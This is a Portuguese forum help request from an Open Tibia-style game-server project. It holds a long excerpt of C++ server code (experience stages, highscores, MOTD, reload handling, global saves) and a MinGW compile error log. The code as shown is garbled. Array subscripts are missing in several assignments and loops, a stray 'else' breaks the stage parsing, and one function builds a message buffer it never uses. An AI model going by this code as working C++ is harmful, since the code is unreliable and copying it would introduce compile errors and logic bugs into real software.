    if(xmlStrcmp(root->name, (const xmlChar*)"stages"))
    {
        std::cout << "[Error - Game::loadExperienceStages] Malformed stages file" << std::endl;
        xmlFreeDoc(doc);
        return false;
    }

    int32_t intValue, low = 0, high = 0;
    float floatValue, mul = 1.0f, defStageMultiplier;
    std::string strValue;

    lastStageLevel = 0;
    stages.clear();

    q = root->children;
    while(q)
    {
        if(!xmlStrcmp(q->name, (const xmlChar*)"world"))
        {
            if(readXMLString(q, "id", strValue))
            {
                IntegerVec intVector;
                if(!parseIntegerVec(strValue, intVector) || std::find(intVector.begin(),
                    intVector.end(), g_config.getNumber(ConfigManager::WORLD_ID)) == intVector.end())
                {
                    q = q->next;
                    continue;
                }
            }

            defStageMultiplier = 1.0f;
            if(readXMLFloat(q, "multiplier", floatValue))
                defStageMultiplier = floatValue;

            p = q->children;
            while(p)
            {
                if(!xmlStrcmp(p->name, (const xmlChar*)"stage"))
                {
                    low = 1;
                    if(readXMLInteger(p, "minlevel", intValue) || readXMLInteger(p, "minLevel", intValue))
                        low = intValue;

                    high = 0;
                    if(readXMLInteger(p, "maxlevel", intValue) || readXMLInteger(p, "maxLevel", intValue))
                        high = intValue;
                    else
                        lastStageLevel = low;

                    mul = 1.0f;
                    if(readXMLFloat(p, "multiplier", floatValue))
                        mul = floatValue;

                    mul *= defStageMultiplier;
                    if(lastStageLevel && lastStageLevel == (uint32_t)low)
                        stages[lastStageLevel] = mul;
                    else
                    {
                        for(int32_t i = low; i <= high; i++)
                            stages = mul;
                    }
                }

                p = p->next;
            }
        }

        if(!xmlStrcmp(q->name, (const xmlChar*)"stage"))
        {
            low = 1;
            if(readXMLInteger(q, "minlevel", intValue))
                low = intValue;
            else

            high = 0;
            if(readXMLInteger(q, "maxlevel", intValue))
                high = intValue;
            else
                lastStageLevel = low;

            mul = 1.0f;
            if(readXMLFloat(q, "multiplier", floatValue))
                mul = floatValue;

            if(lastStageLevel && lastStageLevel == (uint32_t)low)
                stages[lastStageLevel] = mul;
            else
            {
                for(int32_t i = low; i <= high; i++)
                    stages = mul;
            }
        }

        q = q->next;
    }

    xmlFreeDoc(doc);
    return true;
}

bool Game::reloadHighscores()
{
    lastHighscoreCheck = time(NULL);
    for(int16_t i = 0; i < 9; ++i)
        highscoreStorage = getHighscore(i);

    return true;
}

void Game::checkHighscores()
{
    reloadHighscores();
    uint32_t tmp = g_config.getNumber(ConfigManager::HIGHSCORES_UPDATETIME) * 60 * 1000;
    if(tmp <= 0)
        return;

    Scheduler::getInstance().addEvent(createSchedulerTask(tmp, boost::bind(&Game::checkHighscores, this)));
}

std::string Game::getHighscoreString(uint16_t skill)
{
    Highscore hs = highscoreStorage[skill];
    std::stringstream ss;
    ss << "Highscore for " << getSkillName(skill) << "\n\nRank Level - Player Name";
    for(uint32_t i = 0; i < hs.size(); i++)
        ss << "\n" << (i + 1) << ".  " << hs.second << "  -  " << hs.first;

    ss << "\n\nLast updated on:\n" << std::ctime(&lastHighscoreCheck);
    return ss.str();
}

Highscore Game::getHighscore(uint16_t skill)
{
    Highscore hs;

    Database* db = Database::getInstance();
    DBResult* result;

    DBQuery query;
    if(skill >= SKILL__MAGLEVEL)
    {
        if(skill == SKILL__MAGLEVEL)
            query << "SELECT `maglevel`, `name` FROM `players` ORDER BY `maglevel` DESC, `manaspent` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);
        else
            query << "SELECT `level`, `name` FROM `players` ORDER BY `level` DESC, `experience` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);

        if(!(result = db->storeQuery(query.str())))
            return hs;

        do
        {
            uint32_t level;
            if(skill == SKILL__MAGLEVEL)
                level = result->getDataInt("maglevel");
            else
                level = result->getDataInt("level");

            std::string name = result->getDataString("name");
            if(name.length() > 0)
                hs.push_back(std::make_pair(name, level));
        }
        while(result->next());
        result->free();
    }
    else
    {
        query << "SELECT `player_skills`.`value`, `players`.`name` FROM `player_skills`,`players` WHERE `player_skills`.`skillid`=" << skill << " AND `player_skills`.`player_id`=`players`.`id` ORDER BY `player_skills`.`value` DESC, `player_skills`.`count` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);
        if(!(result = db->storeQuery(query.str())))
            return hs;

        do
        {
            std::string name = result->getDataString("name");
            if(name.length() > 0)
                hs.push_back(std::make_pair(name, result->getDataInt("value")));
        }
        while(result->next());
        result->free();
    }

    return hs;
}

int32_t Game::getMotdId()
{
    if(lastMotd == g_config.getString(ConfigManager::MOTD))
        return lastMotdId;

    lastMotd = g_config.getString(ConfigManager::MOTD);
    Database* db = Database::getInstance();

    DBQuery query;
    query << "INSERT INTO `server_motd` (`id`, `world_id`, `text`) VALUES (" << ++lastMotdId << ", " << g_config.getNumber(ConfigManager::WORLD_ID) << ", " << db->escapeString(lastMotd) << ")";
    if(db->executeQuery(query.str()))
        return lastMotdId;

    return --lastMotdId;
}

void Game::loadMotd()
{
    Database* db = Database::getInstance();
    DBQuery query;
    query << "SELECT `id`, `text` FROM `server_motd` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `id` DESC LIMIT 1";

    DBResult* result;
    if(!(result = db->storeQuery(query.str())))
    {
        std::cout << "> ERROR: Failed to load motd!" << std::endl;
        lastMotdId = random_range(5, 500);
        return;
    }

    lastMotdId = result->getDataInt("id");
    lastMotd = result->getDataString("text");
    result->free();
}

void Game::checkPlayersRecord(Player* player)
{
    uint32_t count = getPlayersOnline();
    if(count <= playersRecord)
        return;

    GlobalEventMap recordEvents = g_globalEvents->getEventMap(GLOBAL_EVENT_RECORD);
    for(GlobalEventMap::iterator it = recordEvents.begin(); it != recordEvents.end(); ++it)
        it->second->executeRecord(count, playersRecord, player);

    playersRecord = count;
}

void Game::loadPlayersRecord()
{
    Database* db = Database::getInstance();
    DBQuery query;
    query << "SELECT `record` FROM `server_record` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `timestamp` DESC LIMIT 1";

    DBResult* result;
    if(!(result = db->storeQuery(query.str())))
    {
        std::cout << "> ERROR: Failed to load players record!" << std::endl;
        return;
    }

    playersRecord = result->getDataInt("record");
    result->free();
}

bool Game::reloadInfo(ReloadInfo_t reload, uint32_t playerId/* = 0*/)
{
    bool done = false;
    switch(reload)
    {
        case RELOAD_ACTIONS:
        {
            if(g_actions->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload actions." << std::endl;

            break;
        }

        case RELOAD_CHAT:
        {
            if(g_chat.reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload chat." << std::endl;

            break;
        }

        case RELOAD_CONFIG:
        {
            if(g_config.reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload config." << std::endl;

            break;
        }

        case RELOAD_CREATUREEVENTS:
        {
            if(g_creatureEvents->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload creature events." << std::endl;

            break;
        }

        case RELOAD_GAMESERVERS:
        {
            #ifdef __LOGIN_SERVER__
            if(GameServers::getInstance()->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload game servers." << std::endl;

            #endif
            break;
        }

        case RELOAD_GLOBALEVENTS:
        {
            if(g_globalEvents->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload global events." << std::endl;

            break;
        }

        case RELOAD_GROUPS:
        {
            //if(Groups::getInstance()->reload())
                done = true;
            //else
            //    std::cout << "[Error - Game::reloadInfo] Failed to reload groups." << std::endl;

            break;
        }

        case RELOAD_HIGHSCORES:
        {
            if(reloadHighscores())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload highscores." << std::endl;

            break;
        }

        case RELOAD_HOUSEPRICES:
        {
            if(Houses::getInstance()->reloadPrices())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload house prices." << std::endl;

            break;
        }

        case RELOAD_ITEMS:
        {
            //TODO
            std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
            done = true;
            break;
        }

        case RELOAD_MODS:
        {
            std::cout << ">> Reloading mods..." << std::endl;
            if(ScriptingManager::getInstance()->reloadMods())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload mods." << std::endl;

            break;
        }

        case RELOAD_MONSTERS:
        {
            if(g_monsters.reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload monsters." << std::endl;

            break;
        }

        case RELOAD_MOVEEVENTS:
        {
            if(g_moveEvents->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload move events." << std::endl;

            break;
        }

        case RELOAD_NPCS:
        {
            g_npcs.reload();
            done = true;
            break;
        }

        case RELOAD_OUTFITS:
        {
            //TODO
            std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
            done = true;
            break;
        }

        case RELOAD_QUESTS:
        {
            if(Quests::getInstance()->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload quests." << std::endl;

            break;
        }

        case RELOAD_RAIDS:
        {
            if(!Raids::getInstance()->reload())
                std::cout << "[Error - Game::reloadInfo] Failed to reload raids." << std::endl;
            else if(!Raids::getInstance()->startup())
                std::cout << "[Error - Game::reloadInfo] Failed to startup raids when reloading." << std::endl;
            else
                done = true;

            break;
        }

        case RELOAD_SPELLS:
        {
            if(!g_spells->reload())
                std::cout << "[Error - Game::reloadInfo] Failed to reload spells." << std::endl;
            else if(!g_monsters.reload())
                std::cout << "[Error - Game::reloadInfo] Failed to reload monsters when reloading spells." << std::endl;
            else
                done = true;

            break;
        }

        case RELOAD_STAGES:
        {
            if(loadExperienceStages())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload stages." << std::endl;

            break;
        }

        case RELOAD_TALKACTIONS:
        {
            if(g_talkActions->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload talk actions." << std::endl;

            break;
        }

        case RELOAD_VOCATIONS:
        {
            //if(Vocations::getInstance()->reload())
                done = true;
            //else
            //    std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;

            break;
        }

        case RELOAD_WEAPONS:
        {
            //TODO
            std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
            done = true;
            break;
        }

        case RELOAD_ALL:
        {
            done = true;
            for(uint8_t i = RELOAD_FIRST; i <= RELOAD_LAST; i++)
            {
                if(!reloadInfo((ReloadInfo_t)i) && done)
                    done = false;
            }

            break;
        }

        default:
        {
            std::cout << "[Warning - Game::reloadInfo] Reload type not found." << std::endl;
            break;
        }
    }

    if(!playerId)
        return done;

    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return done;

    if(done)
    {
        player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Reloaded successfully.");
        return true;
    }

    player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Failed to reload.");
    return false;
}

void Game::prepareGlobalSave()
{
    if(!globalSaveMessage[0])
    {
        setGameState(GAME_STATE_CLOSING);
        globalSaveMessage[0] = true;

        broadcastMessage("Server is going down for a global save within 5 minutes. Please logout.", MSG_STATUS_WARNING);
        Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this)));
    }
    else if(!globalSaveMessage[1])
    {
        globalSaveMessage[1] = true;
        broadcastMessage("Server is going down for a global save within 3 minutes. Please logout.", MSG_STATUS_WARNING);
        Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this)));
    }
    else if(!globalSaveMessage[2])
    {
        globalSaveMessage[2] = true;
        broadcastMessage("Server is going down for a global save in one minute, please logout!", MSG_STATUS_WARNING);
        Scheduler::getInstance().addEvent(createSchedulerTask(60000, boost::bind(&Game::prepareGlobalSave, this)));
    }
    else
        globalSave();
}

void Game::globalSave()
{
    if(g_config.getBool(ConfigManager::SHUTDOWN_AT_GLOBALSAVE))
    {
        //shutdown server
        Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN)));
        return;
    }

    //close server
    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_CLOSED)));
    //clean map if configured to
    if(g_config.getBool(ConfigManager::CLEAN_MAP_AT_GLOBALSAVE))
    {
        uint32_t dummy;
        cleanMap(dummy);
    }

    //pay houses
    Houses::getInstance()->payHouses();
    //clear temporial and expired bans
    IOBan::getInstance()->clearTemporials();
    //remove premium days globally if configured to
    if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT))
        IOLoginData::getInstance()->updatePremiumDays();

    //reload everything
    reloadInfo(RELOAD_ALL);
    //reset variables
    for(int16_t i = 0; i < 3; i++)
        setGlobalSaveMessage(i, false);

    //prepare for next global save after 24 hours
    Scheduler::getInstance().addEvent(createSchedulerTask(86100000, boost::bind(&Game::prepareGlobalSave, this)));
    //open server
    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_NORMAL)));
}

void Game::shutdown()
{
    std::cout << "Preparing";
    Scheduler::getInstance().shutdown();
    std::cout << " to";
    Dispatcher::getInstance().shutdown();
    std::cout << " shutdown";
    Spawns::getInstance()->clear();
    std::cout << " the";
    Raids::getInstance()->clear();
    std::cout << " server";
    cleanup();
    std::cout << "- done." << std::endl;
    if(services)
        services->stop();
#if defined(WINDOWS) && !defined(__CONSOLE__)

    exit(1);
#endif
}

void Game::cleanup()
{
    //free memory
    for(std::vector<Thing*>::iterator it = releaseThings.begin(); it != releaseThings.end(); ++it)
        (*it)->unRef();

    releaseThings.clear();
    for(DecayList::iterator it = toDecayItems.begin(); it != toDecayItems.end(); ++it)
    {
        int32_t dur = (*it)->getDuration();
        if(dur >= EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS)
            decayItems[lastBucket].push_back(*it);
        else
            decayItems[(lastBucket + 1 + (*it)->getDuration() / 1000) % EVENT_DECAYBUCKETS].push_back(*it);
    }

    toDecayItems.clear();
}

void Game::freeThing(Thing* thing)
{
    releaseThings.push_back(thing);
}

void Game::showHotkeyUseMessage(Player* player, Item* item)
{
    int32_t subType = -1;
    if(item->hasSubType() && !item->hasCharges())
        subType = item->getSubType();

    const ItemType& it = Item::items[item->getID()];
    uint32_t count = player->__getItemTypeCount(item->getID(), subType, false);

    char buffer[40 + it.name.size()];
    if(count == 1)
        sprintf(buffer, "Using the last %s...", it.name.c_str());
    else
        sprintf(buffer, "Using one of %d %s...", count, it.pluralName.c_str());

}
 

Erro na hora de compilar.

Citar

Compilador: Default compiler
Building Makefile: "C:\Users\micael\Documents\Projetos\serve teste\Base teste\[SOURCE] PokeZR By Kyyah\dev-cpp\Makefile.win"
Executando  make...
mingw32-make -f "C:\Users\micael\Documents\Projetos\serve teste\Base teste\[SOURCE] PokeZR By Kyyah\dev-cpp\Makefile.win" all
g++.exe -c ../game.cpp -o obj//game.o -I"C:/Users/micael/Documents/Projetos/serve teste/Base teste/Stian's Repack Dev-Cpp 0.2, 64bit/include"  -D__USE_MYSQL__ -D__USE_SQLITE__ -D__ENABLE_SERVER_DIAGNOSTIC__   -fexpensive-optimizations -O1
../game.cpp:4899: error: 'game' has not been declared
../game.cpp: In function 'void parsePlayereExtendedOpcode(uint32_t, uint8_t, const std::string&)':
../game.cpp:4901: error: 'getPlayerByID' was not declared in this scope
../game.cpp:4905: error: expected ',' or ';' before 'for'
../game.cpp: At global scope:
../game.cpp:4909: error: expected unqualified-id before '{' token
mingw32-make: *** [obj//game.o] Error 1
Execução terminada
 

 

 

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

Quem Está Navegando 0

  • Nenhum usuário registrado visualizando esta página.

Estatísticas dos Fóruns

  • Tópicos 96.9k
  • Posts 519.7k

Informação Importante

Confirmação de Termo